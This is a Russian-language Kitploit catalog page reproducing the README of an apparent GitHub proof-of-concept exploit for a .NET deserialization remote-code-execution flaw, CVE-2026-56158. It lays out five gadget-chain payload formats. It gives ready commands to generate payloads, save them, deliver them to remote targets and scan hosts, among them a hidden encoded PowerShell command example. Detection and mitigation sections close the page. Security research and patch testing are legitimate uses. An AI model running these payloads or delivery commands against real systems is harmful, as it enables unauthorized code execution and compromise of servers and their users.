Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit — Генерирует пять форматов полезных нагрузок .NET для десериализации по CVE-2026-56158, доставляет их через конечные точки HTTP/SOAP/JSON, включает мок-сервер, сканер и вывод JSON-отчёта. | Kitploit
Инструменты/GitHubGitHub/sam00/cve-2026-56158-.net-framework-rce-poc-exploit
Сканеры уязвимостейГенерация полезной нагрузкиСтатический анализ кода (SAST)Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийРазработка Полезной Нагрузки
GitHub

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
sam00/cve-2026-56158-.net-framework-rce-poc-exploit

CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit

Генерирует пять форматов полезных нагрузок .NET для десериализации по CVE-2026-56158, доставляет их через конечные точки HTTP/SOAP/JSON, включает мок-сервер, сканер и вывод JSON-отчёта.

Репозиторий
113 дней назадЕщё не проверено

CVE-2026-56158 — PoC-эксплойт для удалённого выполнения кода (RCE) в .NET Framework

Критический (CVSS 9.8) — десериализация недоверенных данных (CWE-502) в Microsoft .NET Framework и .NET Runtime Исправлено: 14 июля 2026 | Обнаружено: Positive Technologies (PT-2026-60174)


Оглавление

  • Обзор
  • Детали уязвимости
  • Затронутые версии
  • Векторы атак
  • Архитектура эксплойта
  • Структура файлов
  • Установка
  • Пошаговое использование
  • Тестирование
  • Обнаружение и укрепление защиты
  • Меры по смягчению
  • Ссылки
  • Отказ от ответственности
  • Лицензия

Обзор

CVE-2026-56158 — критическая уязвимость удалённого выполнения кода в Microsoft .NET Framework и .NET runtime. Проблема заключается в небезопасной десериализации недоверенных данных (CWE-502): когда .NET-приложение использует устаревшие сериализаторы (BinaryFormatter, NetDataContractSerializer, SoapFormatter, ObjectStateFormatter) или Json.NET с TypeNameHandling.All/Auto, неаутентифицированный удалённый злоумышленник может доставить специально сформированную сериализованную полезную нагрузку, которая при десериализации приводит к выполнению произвольного кода.

Уязвимость имеет базовую оценку CVSS 3.1 — 9.8 (критический) с вектором AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, что означает:

  • Вектор атаки: сетевой (физический доступ не требуется)
  • Сложность атаки: низкая
  • Требуемые привилегии: отсутствуют
  • Взаимодействие с пользователем: не требуется
  • Влияние: полная компрометация конфиденциальности, целостности и доступности

Microsoft выпустила обновления безопасности 14 июля 2026 года в рамках ежемесячного цикла Patch Tuesday.


Детали уязвимости

Корневая причина

Устаревшие сериализаторы .NET runtime восстанавливают произвольные типы объектов из сериализованных потоков без проверки типа или содержимого. Когда злоумышленник контролирует сериализованные входные данные, он может направить десериализатор на создание экземпляров неожиданных типов, конструкторы, обратные вызовы или сеттеры свойств которых выполняют произвольный код, — это классическая атака с использованием цепочки гаджетов при десериализации.

Уязвимость затрагивает несколько механизмов сериализации:

  1. BinaryFormatter — двоичный поток с метаданными типов; цепочка гаджетов TypeConfuseDelegate делегирует вызов Process.Start
  2. NetDataContractSerializer — формат XML со встроенными сведениями о типах .NET; допускает прямое создание экземпляров типов
  3. SoapFormatter — SOAP-конверт XML со ссылками на типы CLR; ProcessStartInfo встраивается в тело SOAP
  4. ObjectStateFormatter — двоичный формат ASP.NET ViewState; Process.Start через поле ViewState
  5. Json.NET (Newtonsoft.Json) — JSON с метаданными $type при включённом TypeNameHandling.All/Auto; гаджет ObjectDataProvider вызывает Process.Start

Затронутые версии

Пакеты Alpine Linux:

  • dotnet8-runtime < 8.0.29-r0
  • dotnet9-runtime < 9.0.18-r0
  • dotnet10-runtime < 10.0.10-r0

Векторы атак

Данный PoC-эксплойт генерирует и доставляет полезные нагрузки через 5 различных форматов атак при десериализации:

1. BinaryFormatter (гаджет TypeConfuseDelegate)

root@kitploit:~
Serialized Stream → BinaryFormatter.Deserialize() → TypeConfuseDelegate
  → Process.Start("cmd.exe", "/c calc.exe") → RCE
  • Формат: двоичный (сериализованный поток .NET)
  • Content-Type: application/octet-stream
  • Доставка: тело HTTP POST, файл
  • Гаджет: ActivitySurrogateSelector+ObjectSurrogate → TypeConfuseDelegate → Process.Start

2. NetDataContractSerializer

root@kitploit:~
XML with type info → NetDataContractSerializer.ReadObject()
  → ProcessStartInfo instantiation → Process.Start → RCE
  • Формат: XML со встроенными сведениями о типах .NET
  • Content-Type: application/octet-stream или text/xml
  • Доставка: тело HTTP POST, конечная точка WCF

3. SoapFormatter

root@kitploit:~
SOAP envelope → SoapFormatter.Deserialize()
  → ProcessStartInfo in SOAP body → Process.Start → RCE
  • Формат: SOAP-конверт XML со ссылками на типы CLR
  • Content-Type: text/xml
  • Доставка: SOAP-конечная точка WCF/ASMX

4. ObjectStateFormatter (ViewState)

root@kitploit:~
ViewState binary → ObjectStateFormatter.Deserialize()
  → Process.Start via ViewState field → RCE
  • Формат: двоичный (формат ASP.NET ViewState)
  • Content-Type: application/octet-stream
  • Доставка: поле __VIEWSTATE в HTTP POST

5. Json.NET (TypeNameHandling.All)

root@kitploit:~
JSON with $type → JsonConvert.DeserializeObject<T>(json, TypeNameHandling.All)
  → ObjectDataProvider.MethodName = "Start" → Process.Start → RCE
  • Формат: JSON с метаданными $type
  • Content-Type: application/json
  • Доставка: конечная точка REST API с TypeNameHandling.All или Auto

Архитектура эксплойта

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                         exploit.py                                   │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌──────────────┐   ┌───────────────┐   ┌───────────────────────┐  │
│  │ PayloadGen   │   │ PayloadDeliv  │   │ VulnerabilityScanner  │  │
│  │              │   │               │   │                       │  │
│  │ • BinaryFmt  │   │ • HTTP POST   │   │ • HTTP header check   │  │
│  │ • NetData    │──▶│ • SOAP/WCF   │──▶│ • Endpoint discovery  │  │
│  │ • SoapFmt    │   │ • JSON API    │   │ • ViewState analysis  │  │
│  │ • ObjectState│   │ • File save   │   │ • Version detection   │  │
│  │ • Json.NET   │   │               │   │                       │  │
│  └──────────────┘   └───────────────┘   └───────────────────────┘  │
│         │                   │                      │                 │
│         └───────────────────┼──────────────────────┘                 │
│                             ▼                                        │
│  ┌──────────────┐   ┌──────────────────────────────────────────┐   │
│  │ PayloadList  │   │ Report Generator (JSON)                   │   │
│  │ (Mock .NET)  │   │ • CVE metadata, CVSS, CWE                │   │
│  │              │   │ • Payload hashes (SHA-256)               │   │
│  │ Simulates    │   │ • Delivery results                       │   │
│  │ vulnerable   │   │ • RCE confirmation                       │   │
│  │ deserialization│ │ • References                             │   │
│  └──────────────┘   └──────────────────────────────────────────┘   │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

Схема атаки

root@kitploit:~
Attacker ────POST /api/deserialize──────▶ Target (.NET < 8.0.29)
         Content-Type: application/octet-stream
         Body: [BinaryFormatter payload]
                                             │
                                             ▼
                                   BinaryFormatter.Deserialize()
                                   (no type validation)
                                             │
                                             ▼
                                   TypeConfuseDelegate invoked
                                             │
                                             ▼
                                   Process.Start("cmd.exe", "/c calc.exe")
                                             │
                                             ▼
                                   calc.exe spawns → RCE CONFIRMED

Диаграмма Mermaid

root@kitploit:~
graph TD
    A[Attacker] --> B[PayloadGenerator]
    B --> B1[BinaryFormatter]
    B --> B2[NetDataContractSerializer]
    B --> B3[SoapFormatter]
    B --> B4[ObjectStateFormatter]
    B --> B5[Json.NET]

    B1 --> C1[TypeConfuseDelegate Gadget]
    B2 --> C2[ProcessStartInfo XML]
    B3 --> C3[SOAP ProcessStartInfo]
    B4 --> C4[ViewState Process.Start]
    B5 --> C5[ObjectDataProvider Gadget]

    C1 --> D[PayloadDelivery]
    C2 --> D
    C3 --> D
    C4 --> D
    C5 --> D

    D --> E1[HTTP POST]
    D --> E2[SOAP Endpoint]
    D --> E3[JSON API]
    D --> E4[File]

    E1 --> F[.NET Runtime < 8.0.29]
    E2 --> F
    E3 --> F
    E4 --> F

    F --> G[Unsafe Deserialization - No Type Validation]
    G --> H[Gadget Chain Executes]
    H --> I[Process.Start - RCE]
    I --> J[Arbitrary Code Execution]

    subgraph "Vulnerable Components"
        F
        G
    end

    subgraph "Exploit Chain"
        H
        I
        J
    end

Структура файлов

root@kitploit:~
CVE-2026-56158/
├── exploit.py          # Main exploit — payload generation, delivery, scanning, mock listener
├── detect.py           # Detection & hardening checker
├── test_exploit.py     # Unit tests (74 tests)
├── e2e_test.py         # End-to-end validation tests (37 tests)
├── README.md           # This file — GitHub description page
├── USAGE.md            # Detailed step-by-step usage guide
├── DIAGRAM.md          # Architecture & attack flow diagrams
├── package.json        # Project metadata
├── LICENSE             # MIT License
└── .gitignore          # Git ignore rules

Установка

Предварительные требования

  • Python 3.8+ (только стандартная библиотека — без внешних зависимостей)
  • Цель: .NET-приложение, использующее небезопасную десериализацию (для реального использования)
  • Для тестирования установка .NET не требуется (включён имитационный сервер)

Клонирование

root@kitploit:~
git clone [email protected]:sam00/CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit.git
cd CVE-2026-56158

Пошаговое использование

Шаг 1: Генерация полезных нагрузок

Сгенерируйте все 5 форматов полезных нагрузок с командой по умолчанию (calc.exe):

root@kitploit:~
python3 exploit.py

Вывод:

root@kitploit:~
[INFO] Generating deserialization payloads...
  [SUCCESS] binaryformatter: 395 bytes
  [SUCCESS] netdatacontract: 437 bytes
  [SUCCESS] soap: 716 bytes
  [SUCCESS] objectstate: 153 bytes
  [SUCCESS] jsonnet: 695 bytes

Генерация с произвольной командой:

root@kitploit:~
python3 exploit.py -c "powershell.exe -nop -w hidden -enc <base64>"

Шаг 2: Локальное тестирование с имитационным сервером

Запустите встроенный имитационный уязвимый .NET-сервер и доставьте все полезные нагрузки:

root@kitploit:~
python3 exploit.py --listen

При этом будет:

  1. Запущен имитационный HTTP-сервер, моделирующий уязвимую конечную точку .NET
  2. Сгенерированы все 5 форматов полезных нагрузок
  3. Каждая полезная нагрузка доставлена на имитационный сервер
  4. Проверено срабатывание RCE (десериализация → выполнение кода)
  5. Сформирован JSON-отчёт об эксплуатации

Ожидаемый вывод:

root@kitploit:~
[VULN] RCE CONFIRMED — Payload deserialized and command execution triggered

Нестандартный порт:

root@kitploit:~
python3 exploit.py --listen --port 8080

Шаг 3: Сохранение полезной нагрузки в файл

Сохраните определённый формат полезной нагрузки в файл для ручной доставки:

root@kitploit:~
# Save BinaryFormatter payload
python3 exploit.py --save payload.bin -f binaryformatter -c "calc.exe"

# Save SOAP payload
python3 exploit.py --save payload.soap -f soap -c "whoami"

# Save Json.NET payload
python3 exploit.py --save payload.json -f jsonnet -c "id"

Шаг 4: Доставка на удалённую цель

Доставьте все полезные нагрузки на удалённую .NET-цель:

root@kitploit:~
python3 exploit.py -u http://target:8080 -c "calc.exe"

С обходом проверки SSL-сертификата:

root@kitploit:~
python3 exploit.py -u https://target:8443 -c "calc.exe" --insecure

Шаг 5: Сканирование цели на признаки уязвимости

Просканируйте цель на предмет версии .NET, конечных точек десериализации и проблем ViewState:

root@kitploit:~
python3 exploit.py -u http://target:8080 --scan

Проверяются:

  • HTTP-заголовки ответа на наличие признаков версии .NET (X-AspNet-Version, X-Powered-By)
  • Типовые пути конечных точек десериализации (/api/deserialize, /Service.svc и т. д.)
  • Статус защиты ASP.NET ViewState (проверка MAC, шифрование)

Шаг 6: Формирование отчёта об эксплуатации

Сформируйте JSON-отчёт с полными сведениями об эксплуатации:

root@kitploit:~
python3 exploit.py --listen -o report.json
# or
python3 exploit.py -u http://target:8080 -o report.json

Отчёт включает:

  • Метаданные CVE (ID, CVSS, CWE, вектор)
  • Сведения о полезной нагрузке (формат, размер, SHA-256-хеш)
  • Результаты доставки (HTTP-статус, ответ)
  • Результаты сканирования
  • Статус подтверждения RCE
  • Ссылки

Тестирование

Модульные тесты (74 теста)

root@kitploit:~
python3 test_exploit.py

Тесты покрывают:

  • Генерацию полезных нагрузок для всех 5 форматов
  • Внедрение произвольной команды
  • Кодирование Base64
  • Доставку полезных нагрузок (HTTP, SOAP, JSON, файл)
  • Сканер уязвимостей (определение версии, обнаружение конечных точек)
  • Имитационный сервер (подтверждение RCE, определение формата)
  • Формирование отчёта (JSON-вывод, создание файла)
  • Целостность полезной нагрузки (детерминированная генерация)
  • Граничные случаи (пустые команды, сложные аргументы)

Сквозные тесты (37 тестов)

root@kitploit:~
python3 e2e_test.py

Тесты покрывают:

  • Полную цепочку эксплуатации: генерация → доставка → проверка RCE
  • Доставку всех 5 форматов полезных нагрузок на имитационный сервер
  • Подтверждение RCE в нескольких форматах
  • Доставку полезной нагрузки через файл
  • Интеграцию со сканером уязвимостей
  • Формирование и проверку отчёта об эксплуатации

Результаты тестирования

root@kitploit:~
Unit Tests:  74 passed, 0 failed
E2E Tests:   37 passed, 0 failed
Total:       111 tests passed

Обнаружение и укрепление защиты

Запустите детектор для выявления уязвимых установок .NET:

root@kitploit:~
python3 detect.py

Просканируйте исходный код на наличие небезопасных шаблонов десериализации:

root@kitploit:~
python3 detect.py /path/to/source/code

Детектор проверяет:

  • Установленные версии .NET runtime (через dotnet --list-runtimes)
  • Записи реестра .NET Framework (Windows)
  • Шаблоны в исходном коде: BinaryFormatter.Deserialize, NetDataContractSerializer.ReadObject, SoapFormatter.Deserialize, ObjectStateFormatter.Deserialize, TypeNameHandling.All/Auto, LosFormatter.Deserialize

Меры по смягчению

  1. Обновите .NET runtime до исправленных версий (8.0.29+, 9.0.18+, 10.0.10+)
  2. Обновите .NET Framework через Центр обновления Windows (KB5100985/KB5100991/KB5101011)
  3. Замените BinaryFormatter на System.Text.Json или DataContractSerializer со строгой привязкой типов
  4. Внедрите списки разрешений SerializationBinder, если требуются устаревшие сериализаторы
  5. Установите переключатель AppContext: Switch.System.Runtime.Serialization.UseLegacyBinaryFormatter=false
  6. Для ASP.NET ViewState: включите ViewStateMac и ViewStateEncryption
  7. Для Json.NET: избегайте TypeNameHandling.All/Auto; используйте TypeNameHandling.None
  8. Заблокируйте SoapFormatter и NetDataContractSerializer для недоверенного ввода

Ссылки

  • NVD — CVE-2026-56158
  • Tenable — CVE-2026-56158
  • Snyk — SNYK-ALPINE324-DOTNET8RUNTIME-18025263
  • Microsoft — July 2026 Cumulative Update
  • MSRC — CVE-2026-56158
  • Alpine Security Tracker — CVE-2026-56158
  • .NET 8.0.29 Release Notes

Отказ от ответственности

Данный proof-of-concept эксплойт предоставляется исключительно в образовательных целях и для авторизованного тестирования безопасности. Используйте этот инструмент только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Несанкционированное использование против систем, которыми вы не владеете, незаконно и может нарушать законы о компьютерном мошенничестве и злоупотреблениях.

Авторы и соавторы не несут ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением.


Лицензия

Лицензия MIT — подробности см. в файле LICENSE.

Скачать инструмент
ПолеЗначение
CVE IDCVE-2026-56158
НазваниеУязвимость удалённого выполнения кода в .NET Framework
CVSS 3.19.8 (критический) (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVSS 2.07.5 (высокий) (AV:N/AC:L/Au:N/C:P/I:P/A:P)
CWECWE-502 (десериализация недоверенных данных)
Опубликовано14 июля 2026
Исправлено14 июля 2026
ИсследовательPositive Technologies (PT-2026-60174)
EPSSОценка ещё не присвоена
CISA KEVНе указан
ПродуктУязвимый диапазонИсправленная версияСтатья KB
.NET 8.08.0.0 – 8.0.288.0.29KB5100998
.NET 9.09.0.0 – 9.0.179.0.18KB5100998
.NET 10.010.0.0 – 10.0.910.0.10KB5101001
.NET Framework 3.5Все до исправленияИсправленоKB5100985
.NET Framework 4.6.2–4.7.2Все до исправленияИсправленоKB5100991
.NET Framework 4.8Все до исправленияИсправленоKB5101011
.NET Framework 4.8.1Все до исправленияИсправленоKB5101002
Visual Studio 2022 (17.12)До исправления17.12.x—
Visual Studio 2022 (17.14)До исправления17.14.x—
Visual Studio 2026 (18.7)До исправления18.7.x—
  • Примените политики WDAC/AppLocker, чтобы ограничить запуск процессов из .NET-приложений
  • Отслеживайте неожиданные дочерние процессы от dotnet.exe, devenv.exe или пользовательских .NET-процессов